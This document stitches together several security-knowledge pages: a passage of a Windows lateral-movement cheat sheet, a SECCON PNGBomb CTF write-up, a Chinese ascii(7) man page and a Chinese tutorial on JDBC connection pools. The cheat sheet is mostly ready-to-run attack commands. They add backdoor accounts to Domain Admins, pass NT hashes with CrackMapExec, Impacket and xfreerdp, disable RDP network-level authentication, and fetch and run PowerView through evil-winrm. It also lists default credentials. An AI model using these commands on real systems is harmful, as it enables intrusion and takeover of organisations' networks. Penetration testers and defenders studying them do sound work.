net localgroup "Backup Operators" hacker /add # Full access to files
net group "Domain Admins" hacker /add /domain
# enable a domain user account
net user hacker /ACTIVE:YES /domain
# prevent users from changing their password
net user username /Passwordchg:No
# prevent the password to expire
net user hacker /Expires:Never
# create a machine account (not shown in net users)
net user /add evilbob$ evilpassword
# homoglyph Aԁmіnistratοr (different of Administrator)
Aԁmіnistratοr
```
Some info about your user
```powershell
net user /dom
net user /domain
```
### Guest Credential
By default every Windows machine comes with a Guest account, its default password is empty.
```powershell
Username: Guest
Password: [EMPTY]
NT Hash: 31d6cfe0d16ae931b73c59d7e0c089c0
```
### Retail Credential
Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289)
when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin
```powershell
Username: RetailAdmin
Password: trs10
```
### Sandbox Credential
WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608)
Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard
```powershell
\\windowssandbox
Username: wdagutilityaccount
Password: pw123
```
## Crackmapexec
Using [Porchetta-Industries/CrackMapExec](https://github.com/Porchetta-Industries/CrackMapExec)
* CrackMapExec supports many protocols
```powershell
crackmapexec ldap 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
crackmapexec mssql 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
crackmapexec rdp 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
crackmapexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
crackmapexec winrm 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
```
* CrackMapExec works with password, NT hash and Kerberos authentication
```powershell
crackmapexec smb 192.168.1.100 -u Administrator -p "Password123?" # Password
crackmapexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" # NT Hash
export KRB5CCNAME=/tmp/kerberos/admin.ccache; crackmapexec smb 192.168.1.100 -u admin --use-kcache # Kerberos
```
## Impacket
From [fortra/impacket](https://github.com/fortra/impacket) (:warning: renamed to impacket-xxxxx in Kali)
:warning: `get` / `put` for wmiexec, psexec, smbexec, and dcomexec are changing to `lget` and `lput`.
:warning: French characters might not be correctly displayed on your output, use `-codec ibm850` to fix this.
:warning: By default, Impacket's scripts are stored in the examples folder: `impacket/examples/psexec.py`.
All Impacket's *exec scripts are not equal, they will target services hosted on multiples ports.
The following table summarize the port used by each scripts.
| Method | Port Used | Admin Required |
|-------------|---------------------------------------|----------------|
| psexec.py | tcp/445 | Yes |
| smbexec.py | tcp/445 | No |
| atexec.py | tcp/445 | No |
| dcomexec.py | tcp/135, tcp/445, tcp/49751 (DCOM) | No |
| wmiexec.py | tcp/135, tcp/445, tcp/50911 (Winmgmt) | Yes |
* `psexec`: equivalent of Windows PSEXEC using RemComSvc binary.
```ps1
psexec.py DOMAIN/username:password@10.10.10.10
```
* `smbexec`: a similar approach to PSEXEC w/o using RemComSvc
```ps1
smbexec.py DOMAIN/username:password@10.10.10.10
```
* `atexec`: executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
```ps1
atexec.py DOMAIN/username:password@10.10.10.10
```
* `dcomexec`: a semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints
```ps1
dcomexec.py DOMAIN/username:password@10.10.10.10
```
* `wmiexec`: a semi-interactive shell, used through Windows Management Instrumentation. First it uses ports tcp/135 and tcp/445, and ultimately it communicates with the Winmgmt Windows service over dynamically allocated high port such as tcp/50911.
```ps1
wmiexec.py DOMAIN/username:password@10.10.10.10
wmiexec.py DOMAIN/username@10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
```
To allow Non-RID 500 local admin accounts performing Wmi or PsExec, execute:
`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /f /d 1`
To prevent RID 500 from being able to WmiExec or PsExec, execute:
`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /f /d 1`
### PSExec
Instead of uploading `psexeccsv` service binary, it uploads to `ADMIN$` a service binary with an arbitrary name.
PSExec default [kavika13/RemCom](https://github.com/kavika13/RemCom) binary is 10 years old, you might want to rebuild it and obfuscate it to reduce detections ([snovvcrash/RemComObf.sh](https://gist.github.com/snovvcrash/123945e8f06c7182769846265637fedb))
Use a custom binary and service name with : `psexec.py Administrator:Password123@IP -service-name customservicename -remote-binary-name custombin.exe`
Also a custom file can be specified with the parameter : `-file /tmp/RemComSvcCustom.exe`.
You need to update the pipe name to match "Custom_communication" in the line 163
```py
162 tid = s.connectTree('IPC$')
163 fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)
```
Alternatively you can use the fork [ThePorgs/impacket](https://github.com/ThePorgs/impacket/pull/3/files).
### WMIExec
Use a non default share `-share SHARE` to write the output to reduce the detection.
By default this command is executed : `cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__RANDOM 2>&1`
### SMBExec
It creates a service with the name `BTOBTO` ([smbexec.py#L59](https://github.com/fortra/impacket/blob/master/examples/smbexec.py#L59)) and transfers commands from the attacker in a bat file in `%TEMP/execute.bat` ([smbexec.py#L56](https://github.com/fortra/impacket/blob/master/examples/smbexec.py#L56)).
```py
OUTPUT_FILENAME = '__output'
BATCH_FILENAME = 'execute.bat'
SMBSERVER_DIR = '__tmp'
DUMMY_SHARE = 'TMP'
SERVICE_NAME = 'BTOBTO'
```
It will create a new service every time we execute a command. It will also generate an Event 7045.
By default this command is executed: `%COMSPEC% /Q /c echo dir > \\127.0.0.1\C$\__output 2>&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat`, where `%COMSPEC%` points to `C:\WINDOWS\system32\cmd.exe`.
```py
class RemoteShell(cmd.Cmd):
def __init__(self, share, rpc, mode, serviceName, shell_type):
cmd.Cmd.__init__(self)
self.__share = share
self.__mode = mode
self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
self.__outputBuffer = b''
self.__command = ''
self.__shell = '%COMSPEC% /Q /c '
self.__shell_type = shell_type
self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
self.__serviceName = serviceName
```
## RDP Remote Desktop Protocol
:warning: **NOTE**: You may need to enable RDP and disable NLA and fix CredSSP errors.
```powershell
# Enable RDP
PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
PS C:\> netsh firewall set service remoteadmin enable
PS C:\> netsh firewall set service remotedesktop enable
# Alternative
C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
root@payload$ crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
# Fix CredSSP errors
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
# Disable NLA
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
```
Abuse RDP protocol to execute commands remotely with the following commands;
* `rdesktop`
```powershell
root@payload$ rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
root@payload$ rdesktop -u username -p password -g 70% -r disk:share=/tmp/myshare 10.10.10.10
# -g : the screen will take up 70% of your actual screen size
# -r disk:share : sharing a local folder during a remote desktop session
```
* `freerdp`
```powershell
root@payload$ xfreerdp /v:10.0.0.1 /u:'Username' /p:'Password123!' +clipboard /cert-ignore /size:1366x768 /smart-sizing
root@payload$ xfreerdp /v:10.0.0.1 /u:username # password will be asked
# pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
# pass the hash works for Server 2012 R2 / Win 8.1+
# require freerdp2-x11 freerdp2-shadow-x11 packages instead of freerdp-x11
root@payload$ xfreerdp /v:10.0.0.1 /u:username /d:domain /pth:88a405e17c0aa5debbc9b5679753939d
```
* [SharpRDP](https://github.com/0xthirteen/SharpRDP)
```powershell
PS C:\> SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
```
## Powershell Remoting Protocol
### Powershell Credentials
```ps1
PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass)
```
### Powershell PSSESSION
* Enable PSRemoting on the host
```ps1
Enable-PSRemoting -Force
net start winrm
# Add the machine to the trusted hosts
Set-Item wsman:\localhost\client\trustedhosts *
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "10.10.10.10"
```
* Execute a single command
```powershell
PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service }
PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1
```
* Interact with a PS Session
```powershell
PS> Enter-PSSession -computerName DC01
[DC01]: PS>
# one-to-one execute scripts and commands
PS> $Session = New-PSSession -ComputerName CLIENT1
PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 }
PS> Invoke-Command -Session $Session -scriptBlock { $test }
1
```
### Powershell Secure String
```ps1
$aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159)
$secureObject = ConvertTo-SecureString -String "76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey
$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject)
$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)
$decrypted
```
## WinRM Protocol
**Requirements**:
* Port **5985** or **5986** open.
* Default endpoint is **/wsman**
If WinRM is disabled on the system you can enable it using: `winrm quickconfig`
The easiest way to interact over WinRM on Linux is with [Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```powershell
evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
evil-winrm -i 10.0.0.20 -u username -H HASH
evil-winrm -i 10.0.0.20 -u username -p password -r domain.local
*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1"))
```
## WMI Protocol
```powershell
PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
```
## SSH Protocol
:warning: You cannot pass the hash to SSH, but you can connect with a Kerberos ticket (Which you can get by passing the hash!)
```ps1
cp user.ccache /tmp/krb5cc_1045
ssh -o GSSAPIAuthentication=yes user@domain.local -vv
```
## Other methods
### PsExec - Sysinternal
From Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)
```powershell
PS C:\> PsExec.exe \\srv01.domain.local -u DOMAIN\username -p password cmd.exe
# switch admin user to NT Authority/System
PS C:\> PsExec.exe \\srv01.domain.local -u DOMAIN\username -p password cmd.exe -s
```
### Mount a remote share
```powershell
PS C:\> net use \\srv01.domain.local /user:DOMAIN\username password C$
```
### Runas as another user
Runas is a command-line tool that is built into Windows Vista.
Allows a user to run specific tools and programs with different permissions than the user's current logon provides.
```powershell
PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe"
PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe
```
## References
- [Ropnop - Using credentials to own Windows boxes](https://blog.ropnop.com/using-credentials-to-own-windows-boxes/)
- [Ropnop - Using credentials to own Windows boxes Part 2](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
- [Gaining Domain Admin from Outside Active Directory](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html)
- [Impacket Remote code execution on Windows from Linux by Vry4n_ - Jun 20, 2021](https://vk9-sec.com/impacket-remote-code-execution-rce-on-windows-from-linux/)
- [Impacket Exec Commands Cheat Sheet - 13cubed](https://www.13cubed.com/downloads/impacket_exec_commands_cheat_sheet.pdf)
- [SMB protocol cheatsheet - aas-s3curity](https://aas-s3curity.gitbook.io/cheatsheet/internalpentest/active-directory/post-exploitation/lateral-movement/smb-protocol)
- [Windows Lateral Movement with smb, psexec and alternatives - nv2lt](https://nv2lt.github.io/windows/smb-psexec-smbexec-winexe-how-to/)
- [PsExec.exe IOCs and Detection - Threatexpress](https://threatexpress.com/redteaming/tool_ioc/psexec/)
- [A Dive on SMBEXEC - dmcxblue - 8th Feb 2021](https://0x00sec.org/t/a-dive-on-smbexec/24961)
|
sec-knowleage
|
# PNGBomb (misc, 475p, 6 solved)
In this challenge we get a [png file](q.png.gz) which contains a very wide picture with 32 pixels height, which is supposed to be a barcode.
However it's too big to open with anything, or process in any reasonable way.
It's pretty clear from the contents of the file, that there are lots of repetitions of some kind.
One of our friends wrote a parser for zlib decompression to see what exactly is going on there and ended up with [bytecode](bytecode.txt) which describes how this picture should be generated from the input data.
The important part to take from this, is that the structure is:
- Add some unique pixels
- Many many times repeat
- Again add some unique pixels
- Again lots of repeats
We're looking for the flag, so most likely we're only interested in places with some reasonable entropy, so the `add some unique pixels` parts, not the repetitions.
We were unsure how those bytes from zlib translate to the pixels of the picture, especially that we were unable to find a tool which could create a 1-bit per pixel greyscale images, so we just tried it out with:
```python
def make_barcode(data):
im = Image.new("RGB", (len(data) * 8, 0x20,))
for k in range(0x20):
for i in range(len(data)):
by = bin(data[i])[2:].rjust(8, '0')
for j in range(8):
bi = int(by[j]) == 1
if bi:
im.putpixel((i * 8 + j, k), (255, 255, 255))
else:
im.putpixel((i * 8 + j, k), (0, 0, 0))
im.show()
im.save("out.png")
```
With this we could try out some stuff (like endianness, if bit=1 means white or black etc.), and compare the result with the prefix of the first line of the original file.
In order to get this reference first line prefix, we simply set in hexeditor the height to 1 and width to some small number like 100, and this way we could see how the real picture prefix should look like, and we could compare this with what we get.
The code above is the result of such tests.
Prefix we got was:

And the code above finally, for the first set of unique bytes:
```python
data = [166, 84, 96, 66, 245, 35, 37, 1, 16, 207, 73, 161, 95, 35, 229, 181, 138, 244, 189, 39, 162, 228, 33, 80, 37, 229, 26, 252, 10, 245, 23, 89, 153, 24, 131, 15, 128, 21, 138, 192, 25, 211, 177, 166, 36, 152, 219, 42, 177, 150, 49, 41, 178, 207, 230, 140, 23, 4, 202, 50, 54, 0, 71, 44, 118, 22, 177, 207, 193, 216, 191, 206, 35, 125, 27, 182, 120, 150, 147, 51, 92, 190, 139, 194, 63, 156, 3, 0, 58, 152, 28, 32, 163, 224, 90, 96, 40, 201, 0, 62, 253, 184, 151, 110, 247, 142, 70, 104, 224, 61, 135, 209, 227, 118, 150, 7, 103, 153, 41, 172, 95, 230, 167, 212, 220, 225, 8, 216, 51, 144, 201, 90, 27, 24, 6, 173, 95, 56, 32, 185, 239, 75, 235, 186, 148, 60, 177, 143, 246, 107, 235, 83, 25, 61, 75, 9, 216, 136, 105, 22, 199, 87, 81, 187, 30, 0, 60, 155, 83, 103, 28, 75, 135, 141, 81, 220, 42, 250, 99, 221, 42, 121, 247, 55, 223, 239, 117, 84, 145, 4, 181, 193, 144, 221, 174, 96, 234, 64, 219, 146, 100, 98, 239, 17, 25, 9, 204, 172, 248, 123, 227, 30, 68, 81, 139, 94, 243, 82, 216, 219, 11, 4, 131, 136, 241, 193, 86, 140, 218, 55, 236, 53, 113, 3, 123, 14, 8, 80, 225, 128, 140, 66, 182, 19, 104, 178, 115, 122, 143, 61, 126, 227, 139, 128, 222, 141, 223, 172, 1]
```
Gave us:

It's pretty clear they match, however barcode scanners were unable to decode this.
Then we encoded the second chunk of unique bytes:
```python
data = [255, 45, 228, 93, 203, 187, 151, 114, 226, 81, 200, 73, 59, 164, 116, 139, 172, 243, 174, 185, 206, 138, 119, 89, 228,117, 196, 172, 247, 46, 58, 72, 233, 209, 92, 238, 228, 142, 172, 245, 206, 179, 200, 185, 17, 116, 231, 117, 19, 174, 114, 238, 229, 214, 123, 157, 58, 46, 37, 19, 172, 245, 206, 179, 206, 185, 17, 46, 238, 93, 103, 136, 148, 114, 93, 214, 123, 157, 59, 174, 69, 203, 174, 22, 94, 113, 79, 255]
```
And recovered the barcode:

Which decoded to `SECCON{ITS_HARD_TO_EXTRACT_A_SUBIMAGE_FROM_A_HUGE_PNG_FILE}`
|
sec-knowleage
|
.\" Copyright (c) 1993 Michael Haardt (michael@moria.de)
.\" Created Fri Apr 2 11:32:09 MET DST 1993
.\"
.\" %%%LICENSE_START(GPLv2+_DOC_FULL)
.\" This is free documentation; you can redistribute it and/or
.\" modify it under the terms of the GNU General Public License as
.\" published by the Free Software Foundation; either version 2 of
.\" the License, or (at your option) any later version.
.\"
.\" The GNU General Public License's references to "object code"
.\" and "executables" are to be interpreted as the output of any
.\" document formatting or typesetting system, including
.\" intermediate and printed output.
.\"
.\" This manual is distributed in the hope that it will be useful,
.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
.\" GNU General Public License for more details.
.\"
.\" You should have received a copy of the GNU General Public
.\" License along with this manual; if not, see
.\" <http://www.gnu.org/licenses/>.
.\" %%%LICENSE_END
.\"
.\" Modified 1993-07-24 by Rik Faith (faith@cs.unc.edu)
.\" Modified 1994-05-15 by Daniel Quinlan (quinlan@yggdrasil.com)
.\" Modified 1994-11-22 by Daniel Quinlan (quinlan@yggdrasil.com)
.\" Modified 1995-07-11 by Daniel Quinlan (quinlan@yggdrasil.com)
.\" Modified 1996-12-18 by Michael Haardt and aeb
.\" Modified 1999-05-31 by Dimitri Papadopoulos (dpo@club-internet.fr)
.\" Modified 1999-08-08 by Michael Haardt (michael@moria.de)
.\" Modified 2004-04-01 by aeb
.TH ASCII 7 2009-02-12 "Linux" "Linux Programmer's Manual"
.SH NAME
ascii \- 在八进制,十进制,十六进制中的 ASCII 字符集编码
.SH 描述
ASCII 是美国对于信息交换的标准代码。它是7位码。
许多8位码(比如 ISO 8859-1,
Linux 的默认字符集)容纳 ASCII 作为它们的下半部分。对应的国际 ASSII 是 ISO 646。
.LP
下列的表格包含这 128 ASCII 字符.
.LP
注意 C 程序 \f(CW\(aq\eX\(aq\fP 扩展(转义).
.LP
.if t \{\
.ft CW
\}
.TS
l l l l l l l l.
Oct Dec Hex Char Oct Dec Hex Char
_
000 0 00 NUL \(aq\e0\(aq 100 64 40 @
001 1 01 SOH (标题开始) 101 65 41 A
002 2 02 STX (本文开始) 102 66 42 B
003 3 03 ETX (本文结束) 103 67 43 C
004 4 04 EOT (传输结束) 104 68 44 D
005 5 05 ENQ (请求) 105 69 45 E
006 6 06 ACK (确认回应) 106 70 46 F
007 7 07 BEL \(aq\ea\(aq (响铃) 107 71 47 G
010 8 08 BS \(aq\eb\(aq (退格) 110 72 48 H
011 9 09 HT \(aq\et\(aq (水平定位符号) 111 73 49 I
012 10 0A LF \(aq\en\(aq (换行键) 112 74 4A J
013 11 0B VT \(aq\ev\(aq (垂直定位符号) 113 75 4B K
014 12 0C FF \(aq\ef\(aq (换页键) 114 76 4C L
015 13 0D CR \(aq\er\(aq (Enter 键) 115 77 4D M
016 14 0E SO (取消变换) 116 78 4E N
017 15 0F SI (开始变换) 117 79 4F O
020 16 10 DLE (跳出数据通讯) 120 80 50 P
021 17 11 DC1 (设备控制1) 121 81 51 Q
022 18 12 DC2 (设备控制2) 122 82 52 R
023 19 13 DC3 (设备控制3) 123 83 53 S
024 20 14 DC4 (设备控制4) 124 84 54 T
025 21 15 NAK (确认失败回应) 125 85 55 U
026 22 16 SYN (同步用暂停) 126 86 56 V
027 23 17 ETB (区块传输结束) 127 87 57 W
030 24 18 CAN (取消) 130 88 58 X
031 25 19 EM (连接介质中断) 131 89 59 Y
032 26 1A SUB (替换) 132 90 5A Z
033 27 1B ESC (退出键) 133 91 5B [
034 28 1C FS (文件分区符) 134 92 5C \e \(aq\e\e\(aq
035 29 1D GS (群组分隔符) 135 93 5D ]
036 30 1E RS (记录分隔符) 136 94 5E ^
037 31 1F US (单元分隔符) 137 95 5F \&_
040 32 20 SPACE 140 96 60 \`
041 33 21 ! 141 97 61 a
042 34 22 " 142 98 62 b
043 35 23 # 143 99 63 c
044 36 24 $ 144 100 64 d
045 37 25 % 145 101 65 e
046 38 26 & 146 102 66 f
047 39 27 ' 147 103 67 g
050 40 28 ( 150 104 68 h
051 41 29 ) 151 105 69 i
052 42 2A * 152 106 6A j
053 43 2B + 153 107 6B k
054 44 2C , 154 108 6C l
055 45 2D \- 155 109 6D m
056 46 2E . 156 110 6E n
057 47 2F / 157 111 6F o
060 48 30 0 160 112 70 p
061 49 31 1 161 113 71 q
062 50 32 2 162 114 72 r
063 51 33 3 163 115 73 s
064 52 34 4 164 116 74 t
065 53 35 5 165 117 75 u
066 54 36 6 166 118 76 v
067 55 37 7 167 119 77 w
070 56 38 8 170 120 78 x
071 57 39 9 171 121 79 y
072 58 3A : 172 122 7A z
073 59 3B ; 173 123 7B {
074 60 3C < 174 124 7C |
075 61 3D = 175 125 7D }
076 62 3E > 176 126 7E ~
077 63 3F ? 177 127 7F DEL
.TE
.if t \{\
.in
.ft P
\}
.SS 表格
为方便起见,我们给出了更紧凑的十六进制和十进制表格。
.sp
.nf
.if t \{\
.in 1i
.ft CW
\}
2 3 4 5 6 7 30 40 50 60 70 80 90 100 110 120
------------- ---------------------------------
0: 0 @ P \` p 0: ( 2 < F P Z d n x
1: ! 1 A Q a q 1: ) 3 = G Q [ e o y
2: " 2 B R b r 2: * 4 > H R \e f p z
3: # 3 C S c s 3: ! + 5 ? I S ] g q {
4: $ 4 D T d t 4: " , 6 @ J T ^ h r |
5: % 5 E U e u 5: # \- 7 A K U _ i s }
6: & 6 F V f v 6: $ . 8 B L V \` j t ~
7: ' 7 G W g w 7: % / 9 C M W a k u DEL
8: ( 8 H X h x 8: & 0 : D N X b l v
9: ) 9 I Y i y 9: ' 1 ; E O Y c m w
A: * : J Z j z
B: + ; K [ k {
C: , < L \e l |
D: \- = M ] m }
E: . > N ^ n ~
F: / ? O _ o DEL
.if t \{\
.in
.ft P
\}
.fi
.SH NOTES
.SS 历史
在 AT&T UNIX 的 version 7 中出现过一份
.B ascii
手册页。
.LP
在一些旧的终端上,着重号(下划线)用一个左箭头显示, 叫 backarrow ,
插入符作为一上箭头被显示并且垂直线在中间有一个洞。
.LP
大写和小写字符由仅在于一位的不同,还有ASCII字符 2 不同于双引号也是一位。
这更加容易地为字符进行编码,机械(键盘)或者是一个非微控制器基础的电子键盘,
它们都能在旧的电传打字机上找到配对。
.LP
ASCII 标准由美国标准协会(USASI)于1968出版.
.\"
.\" ASA was the American Standards Association and X3 was an ASA sectional
.\" committee on computers and data processing. Its name changed to
.\" American National Standards Committee X3 (ANSC-X3) and now it is known
.\" as Accredited Standards Committee X3 (ASC X3). It is accredited by ANSI
.\" and administered by ITI. The subcommittee X3.2 worked on coded
.\" character sets; the task group working on ASCII appears to have been
.\" designated X3.2.4. In 1966, ASA became the United States of America
.\" Standards Institute (USASI) and published ASCII in 1968. It became the
.\" American National Standards Institute (ANSI) in 1969 and is the
.\" U.S. member body of ISO; private and nonprofit.
.\"
.SH 参考
.ad l
.BR iso_8859-1 (7),
.BR iso_8859-10 (7),
.BR iso_8859-13 (7),
.BR iso_8859-14 (7),
.BR iso_8859-15 (7),
.BR iso_8859-16 (7),
.BR iso_8859-2 (7),
.BR iso_8859-3 (7),
.BR iso_8859-4 (7),
.BR iso_8859-5 (7),
.BR iso_8859-6 (7),
.BR iso_8859-7 (7),
.BR iso_8859-8 (7),
.BR iso_8859-9 (7)
.SH 题署
这个页面是 Linux
.I man-pages
项目 3.53 版本的一部分。
这个项目的说明,
和报告 Bug 的信息
见于
\%http://www.kernel.org/doc/man\-pages/.
.br
.SH "[中文版维护人]"
.B Tom Li <biergaizi2009@gmail.com> (2013/08/31)
.br
.B Scorpio <rawk@chinese.com> (2000/10/23)
.SH "[中文版最新更新]"
.B 2013/08/31
.SH " manpages-zh 项目"
.BI https://github.com/lidaobing/manpages-zh
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 数据库连接池
---
jdbc,在每次连接数据库的时候都需要去重新建立对象。可以使用一个连接池,每次使用完后归还给连接池。
## 连接池概述
连接池其实就是一个容器(集合),存放数据库连接的容器。
当系统初始化好后,容器被创建,容器中会申请一些连接对象,当用户来访问数据库时,从容器中获取连接对象,用户访问完之后,会将连接对象归还给容器。
使用连接池能节约资源使用户访问高效。
数据库连接池是一种复用 Connection 的组件,它可以避免反复创建新连接,提高 JDBC 代码的运行效率;
---
## 连接池实现
### C3P0
- https://sourceforge.net/projects/c3p0/
**maven**
```xml
<!-- https://mvnrepository.com/artifact/c3p0/c3p0 -->
<dependency>
<groupId>c3p0</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.1.2</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.25</version>
</dependency>
```
将 c3p0-config.xml 放到 src 目录下,并进行配置。
```xml
<c3p0-config>
<default-config>
<property name="user">root</property>
<property name="password">toor</property>
<property name="driverClass">com.mysql.cj.jdbc.Driver</property>
<property name="jdbcUrl">jdbc:mysql://192.168.1.1:3306/java?useUnicode=true&serverTimezone=UTC&characterEncoding=UTF-8</property>
<property name="initialPoolSize">10</property>
<!--连接池中保留的最大连接数 -->
<property name="maxPoolSize">50</property>
<property name="checkoutTimeout">3000</property>
</default-config>
</c3p0-config>
```
---
### Druid
- https://github.com/alibaba/druid
**简介**
Druid 是阿里巴巴的一个开源项目,号称为监控而生的数据库连接池,在功能、性能、扩展性方面都超过其他,例如 DBCP、C3P0、BoneCP、Proxool、JBoss、DataSource 等连接池
Druid是一个JDBC组件,包含三个部分:
* DruidDriver 代理Driver,能够提供基于Filter-Chain模式的插件体系。
* DruidDataSource 高效管理的数据库连接池。
* SQLParser SQL语法分析
直接把数据库密码写在配置文件中,容易导致安全问题。DruidDriver 和 DruidDataSource 都支持 PasswordCallback。
SQL Parser 是 Druid 的一个重要组成部分,它提供了 MySql、Oracle、Postgresql、SQL-92 的 SQL 的完整支持,这是一个手写的高性能 SQL Parser,支持 Visitor 模式,使得分析 SQL 的抽象语法树很方便。简单 SQL 语句用时 10 微秒以内,复杂 SQL 用时 30 微秒。
通过 Druid 提供的 SQL Parser 可以在 JDBC 层拦截 SQL 做相应处理,比如防御 SQL 注入(WallFilter)、合并统计没有参数化的 SQL(StatFilter 的 mergeSql)、SQL 格式化、分库分表。
**maven**
在 pom.xml 中引入 druid 官方提供的 Spring Boot Starter 组件
```xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid-spring-boot-starter</artifactId>
<version>1.2.6</version>
</dependency>
```
导入 druid.properties 文件
```
driverClassName=com.mysql.cj.jdbc.Driver
url=jdbc:mysql://192.168.1.1:3306/mysql?characterEncoding=utf-8
username=root
password=toor
filters=stat
initialSize=2
maxActive=300
maxWait=60000
timeBetweenEvictionRunsMillis=60000
minEvictableIdleTimeMillis=300000
validationQuery=SELECT 1
testWhileIdle=true
testOnBorrow=false
testOnReturn=false
poolPreparedStatements=false
maxPoolPreparedStatementPerConnectionSize=200
```
初始化数据池测试
```java
import com.alibaba.druid.pool.DruidDataSourceFactory;
import javax.sql.DataSource;
import java.io.InputStream;
import java.sql.Connection;
import java.util.Properties;
public class test2 {
public static void main(String[] args) throws Exception {
Properties pro = new Properties(); //创建properties对象
InputStream is = test2.class.getClassLoader().getResourceAsStream("druid.properties"); //获取配置文件资源
pro.load(is); //加载配置文件
DataSource dataSource = DruidDataSourceFactory.createDataSource(pro); //创建连接池对象,并传入配置文件信息
Connection connection = dataSource.getConnection(); //获取连接对象
System.out.println(connection);
}
}
```
JDBCUtils 工具类
```java
import com.alibaba.druid.pool.DruidDataSourceFactory;
import javax.sql.DataSource;
import java.io.IOException;
import java.io.InputStream;
import java.sql.*;
import java.util.Properties;
public class JDBCUtils {
private static DataSource ds;
static {
Properties pro = new Properties();
InputStream rs = JDBCUtils.class.getClassLoader().getResourceAsStream("druid.properties");
try {
pro.load(rs);
try {
ds = DruidDataSourceFactory.createDataSource(pro);
} catch (Exception e) {
e.printStackTrace();
}
} catch (IOException e) {
e.printStackTrace();
}
}
//返回连接对象
public static Connection getConnection() throws SQLException {
return ds.getConnection();
}
public static void close(Statement stmt, Connection conn){
if (stmt!=null){
try {
stmt.close();
} catch (SQLException throwables) {
throwables.printStackTrace();
}
}
if (conn!=null){
try {
conn.close();
} catch (SQLException throwables) {
throwables.printStackTrace();
}
}
}
